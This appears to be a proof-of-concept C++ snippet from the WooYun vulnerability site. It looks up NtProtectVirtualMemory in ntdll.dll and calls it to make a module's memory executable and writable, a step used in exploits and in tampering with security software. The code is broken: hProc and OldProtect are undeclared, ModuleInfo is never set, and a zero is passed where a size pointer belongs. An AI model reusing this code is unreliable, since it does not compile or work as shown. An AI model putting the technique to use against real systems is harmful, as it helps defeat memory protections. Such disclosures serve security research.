WooYun.org

// PeckpPoc.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <Psapi.h>
typedef LONG (WINAPI *NtProtectVirtualMemory_)(HANDLE,PVOID *,PSIZE_T,ULONG,PULONG);
NtProtectVirtualMemory_ NtProtectVirtualMemory = NULL;
void main()
{
    HMODULE     ntdll;
    MODULEINFO  ModuleInfo;
    ntdll   =   GetModuleHandle("ntdll.dll" );
   
    NtProtectVirtualMemory =  (NtProtectVirtualMemory_)GetProcAddress( ntdll, "NtProtectVirtualMemory" );
    if ( NtProtectVirtualMemory ==  NULL )
        return;
    NtProtectVirtualMemory( hProc, &ModuleInfo.lpBaseOfDll,0, PAGE_EXECUTE_READWRITE, &OldProtect );
}